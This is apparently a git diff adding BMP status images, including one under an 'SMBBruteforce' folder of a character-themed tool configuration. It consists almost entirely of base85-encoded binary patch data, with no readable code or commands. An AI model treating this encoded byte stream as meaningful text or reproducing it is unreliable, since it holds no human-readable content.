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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce5.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce5.bmp new file mode 100644 index 0000000000000000000000000000000000000000..68fe849175c9178c33154c3a74120c5a120abe23 GIT binary patch literal 18462 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 